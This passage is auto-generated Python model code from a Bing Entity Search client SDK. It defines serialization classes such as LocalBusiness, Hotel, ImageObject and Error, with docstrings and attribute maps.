will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str :ivar must_be_close_to_content: A Boolean value that determines whether the contents of the rule must be placed in close proximity to the field that the rule applies to. If true, the contents must be placed in close proximity. If false, or this field does not exist, the contents may be placed at the caller's discretion. :vartype must_be_close_to_content: bool :param text: Required. The attribution text. Text attribution applies to the entity as a whole and should be displayed immediately following the entity presentation. If there are multiple text or link attribution rules that do not specify a target, you should concatenate them and display them using a "Data from:" label. :type text: str :ivar optional_for_list_display: Indicates whether this provider's attribution is optional. :vartype optional_for_list_display: bool """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, 'must_be_close_to_content': {'readonly': True}, 'text': {'required': True}, 'optional_for_list_display': {'readonly': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'must_be_close_to_content': {'key': 'mustBeCloseToContent', 'type': 'bool'}, 'text': {'key': 'text', 'type': 'str'}, 'optional_for_list_display': {'key': 'optionalForListDisplay', 'type': 'bool'}, } def __init__( self, **kwargs ): super(ContractualRulesTextAttribution, self).__init__(**kwargs) self.type = 'ContractualRules/TextAttribution' # type: str self.text = kwargs['text'] self.optional_for_list_display = None class CreativeWork(Thing): """CreativeWork. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar thumbnail_url: The URL to a thumbnail of the item. :vartype thumbnail_url: str :ivar provider: The source of the creative work. :vartype provider: list[~entity_search_client.models.Thing] :ivar text: :vartype text: str """ _validation = { 'id': {'readonly': True}, 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'thumbnail_url': {'readonly': True}, 'provider': {'readonly': True}, 'text': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'thumbnail_url': {'key': 'thumbnailUrl', 'type': 'str'}, 'provider': {'key': 'provider', 'type': '[Thing]'}, 'text': {'key': 'text', 'type': 'str'}, } def __init__( self, **kwargs ): super(CreativeWork, self).__init__(**kwargs) self.thumbnail_url = None self.provider = None self.text = None class LocalBusiness(Place): """LocalBusiness. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, } def __init__( self, **kwargs ): super(LocalBusiness, self).__init__(**kwargs) self.price_range = None self.panoramas = None self.is_permanently_closed = None self.tag_line = None class EntertainmentBusiness(LocalBusiness): """EntertainmentBusiness. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, } def __init__( self, **kwargs ): super(EntertainmentBusiness, self).__init__(**kwargs) class SearchResultsAnswer(Response): """SearchResultsAnswer. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar query_context: Defines the query context that Bing used for the request. :vartype query_context: ~entity_search_client.models.QueryContext """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'query_context': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'query_context': {'key': 'queryContext', 'type': 'QueryContext'}, } def __init__( self, **kwargs ): super(SearchResultsAnswer, self).__init__(**kwargs) self.query_context = None class Entities(SearchResultsAnswer): """Defines an entity answer. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar query_context: Defines the query context that Bing used for the request. :vartype query_context: ~entity_search_client.models.QueryContext :ivar query_scenario: The supported query scenario. This field is set to DominantEntity or DisambiguationItem. The field is set to DominantEntity if Bing determines that only a single entity satisfies the request. For example, a book, movie, person, or attraction. If multiple entities could satisfy the request, the field is set to DisambiguationItem. For example, if the request uses the generic title of a movie franchise, the entity's type would likely be DisambiguationItem. But, if the request specifies a specific title from the franchise, the entity's type would likely be DominantEntity. Possible values include: "DominantEntity", "DominantEntityWithDisambiguation", "Disambiguation", "List", "ListWithPivot". :vartype query_scenario: str or ~entity_search_client.models.EntityQueryScenario :param value: Required. A list of entities. :type value: list[~entity_search_client.models.Thing] """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'query_context': {'readonly': True}, 'query_scenario': {'readonly': True}, 'value': {'required': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'query_context': {'key': 'queryContext', 'type': 'QueryContext'}, 'query_scenario': {'key': 'queryScenario', 'type': 'str'}, 'value': {'key': 'value', 'type': '[Thing]'}, } def __init__( self, **kwargs ): super(Entities, self).__init__(**kwargs) self.query_scenario = None self.value = kwargs['value'] class EntitiesEntityPresentationInfo(msrest.serialization.Model): """Defines additional information about an entity such as type hints. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param entity_scenario: Required. The supported scenario. Possible values include: "DominantEntity", "DisambiguationItem", "ListItem". Default value: "DominantEntity". :type entity_scenario: str or ~entity_search_client.models.EntityScenario :ivar entity_type_hints: A list of hints that indicate the entity's type. The list could contain a single hint such as Movie or a list of hints such as Place, LocalBusiness, Restaurant. Each successive hint in the array narrows the entity's type. :vartype entity_type_hints: list[str or ~entity_search_client.models.EntityType] :ivar entity_type_display_hint: A display version of the entity hint. For example, if entityTypeHints is Artist, this field may be set to American Singer. :vartype entity_type_display_hint: str """ _validation = { 'entity_scenario': {'required': True}, 'entity_type_hints': {'readonly': True}, 'entity_type_display_hint': {'readonly': True}, } _attribute_map = { 'entity_scenario': {'key': 'entityScenario', 'type': 'str'}, 'entity_type_hints': {'key': 'entityTypeHints', 'type': '[str]'}, 'entity_type_display_hint': {'key': 'entityTypeDisplayHint', 'type': 'str'}, } def __init__( self, **kwargs ): super(EntitiesEntityPresentationInfo, self).__init__(**kwargs) self.entity_scenario = kwargs.get('entity_scenario', "DominantEntity") self.entity_type_hints = None self.entity_type_display_hint = None class Error(msrest.serialization.Model): """Defines the error that occurred. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param code: Required. The error code that identifies the category of error. Possible values include: "None", "ServerError", "InvalidRequest", "RateLimitExceeded", "InvalidAuthorization", "InsufficientAuthorization". Default value: "None". :type code: str or ~entity_search_client.models.ErrorCode :ivar sub_code: The error code that further helps to identify the error. Possible values include: "UnexpectedError", "ResourceError", "NotImplemented", "ParameterMissing", "ParameterInvalidValue", "HttpNotAllowed", "Blocked", "AuthorizationMissing", "AuthorizationRedundancy", "AuthorizationDisabled", "AuthorizationExpired". :vartype sub_code: str or ~entity_search_client.models.ErrorSubCode :param message: Required. A description of the error. :type message: str :ivar more_details: A description that provides additional information about the error. :vartype more_details: str :ivar parameter: The parameter in the request that caused the error. :vartype parameter: str :ivar value: The parameter's value in the request that was not valid. :vartype value: str """ _validation = { 'code': {'required': True}, 'sub_code': {'readonly': True}, 'message': {'required': True}, 'more_details': {'readonly': True}, 'parameter': {'readonly': True}, 'value': {'readonly': True}, } _attribute_map = { 'code': {'key': 'code', 'type': 'str'}, 'sub_code': {'key': 'subCode', 'type': 'str'}, 'message': {'key': 'message', 'type': 'str'}, 'more_details': {'key': 'moreDetails', 'type': 'str'}, 'parameter': {'key': 'parameter', 'type': 'str'}, 'value': {'key': 'value', 'type': 'str'}, } def __init__( self, **kwargs ): super(Error, self).__init__(**kwargs) self.code = kwargs.get('code', "None") self.sub_code = None self.message = kwargs['message'] self.more_details = None self.parameter = None self.value = None class ErrorResponse(Response): """The top-level response that represents a failed request. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :param errors: Required. A list of errors that describe the reasons why the request failed. :type errors: list[~entity_search_client.models.Error] """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'errors': {'required': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'errors': {'key': 'errors', 'type': '[Error]'}, } def __init__( self, **kwargs ): super(ErrorResponse, self).__init__(**kwargs) self.errors = kwargs['errors'] class FoodEstablishment(LocalBusiness): """FoodEstablishment. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, } def __init__( self, **kwargs ): super(FoodEstablishment, self).__init__(**kwargs) class Hotel(LocalBusiness): """Hotel. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str :ivar hotel_class: :vartype hotel_class: str :ivar amenities: :vartype amenities: list[str] """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, 'hotel_class': {'readonly': True}, 'amenities': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, 'hotel_class': {'key': 'hotelClass', 'type': 'str'}, 'amenities': {'key': 'amenities', 'type': '[str]'}, } def __init__( self, **kwargs ): super(Hotel, self).__init__(**kwargs) self.hotel_class = None self.amenities = None class MediaObject(CreativeWork): """MediaObject. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar thumbnail_url: The URL to a thumbnail of the item. :vartype thumbnail_url: str :ivar provider: The source of the creative work. :vartype provider: list[~entity_search_client.models.Thing] :ivar text: :vartype text: str :ivar content_url: Original URL to retrieve the source (file) for the media object (e.g the source URL for the image). :vartype content_url: str :ivar host_page_url: URL of the page that hosts the media object. :vartype host_page_url: str :ivar width: The width of the source media object, in pixels. :vartype width: int :ivar height: The height of the source media object, in pixels. :vartype height: int """ _validation = { 'id': {'readonly': True}, 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'thumbnail_url': {'readonly': True}, 'provider': {'readonly': True}, 'text': {'readonly': True}, 'content_url': {'readonly': True}, 'host_page_url': {'readonly': True}, 'width': {'readonly': True}, 'height': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'thumbnail_url': {'key': 'thumbnailUrl', 'type': 'str'}, 'provider': {'key': 'provider', 'type': '[Thing]'}, 'text': {'key': 'text', 'type': 'str'}, 'content_url': {'key': 'contentUrl', 'type': 'str'}, 'host_page_url': {'key': 'hostPageUrl', 'type': 'str'}, 'width': {'key': 'width', 'type': 'int'}, 'height': {'key': 'height', 'type': 'int'}, } def __init__( self, **kwargs ): super(MediaObject, self).__init__(**kwargs) self.content_url = None self.host_page_url = None self.width = None self.height = None class ImageObject(MediaObject): """Defines an image. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar thumbnail_url: The URL to a thumbnail of the item. :vartype thumbnail_url: str :ivar provider: The source of the creative work. :vartype provider: list[~entity_search_client.models.Thing] :ivar text: :vartype text: str :ivar content_url: Original URL to retrieve the source (file) for the media object (e.g the source URL for the image). :vartype content_url: str :ivar host_page_url: URL of the page that hosts the media object. :vartype host_page_url: str :ivar width: The width of the source media object, in pixels. :vartype width: int :ivar height: The height of the source media object, in pixels. :vartype height: int :ivar thumbnail: The URL to a thumbnail of the image. :vartype thumbnail: ~entity_search_client.models.ImageObject """ _validation = { 'id': {'readonly': True}, 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'thumbnail_url': {'readonly': True}, 'provider': {'readonly': True}, 'text': {'readonly': True}, 'content_url': {'readonly': True}, 'host_page_url': {'readonly': True}, 'width': {'readonly': True}, 'height': {'readonly': True}, 'thumbnail': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'thumbnail_url': {'key': 'thumbnailUrl', 'type': 'str'}, 'provider': {'key': 'provider', 'type': '[Thing]'}, 'text': {'key': 'text', 'type': 'str'}, 'content_url': {'key': 'contentUrl', 'type': 'str'}, 'host_page_url': {'key': 'hostPageUrl', 'type': 'str'}, 'width': {'key': 'width', 'type': 'int'}, 'height': {'key': 'height', 'type': 'int'}, 'thumbnail': {'key': 'thumbnail', 'type': 'ImageObject'}, } def __init__( self, **kwargs ): super(ImageObject, self).__init__(**kwargs) self.thumbnail = None class Intangible(Thing): """Intangible. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, } def __init__( self, **kwargs ): super(Intangible, self).__init__(**kwargs) class License(CreativeWork): """Defines the license under which the text or photo may be used. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. 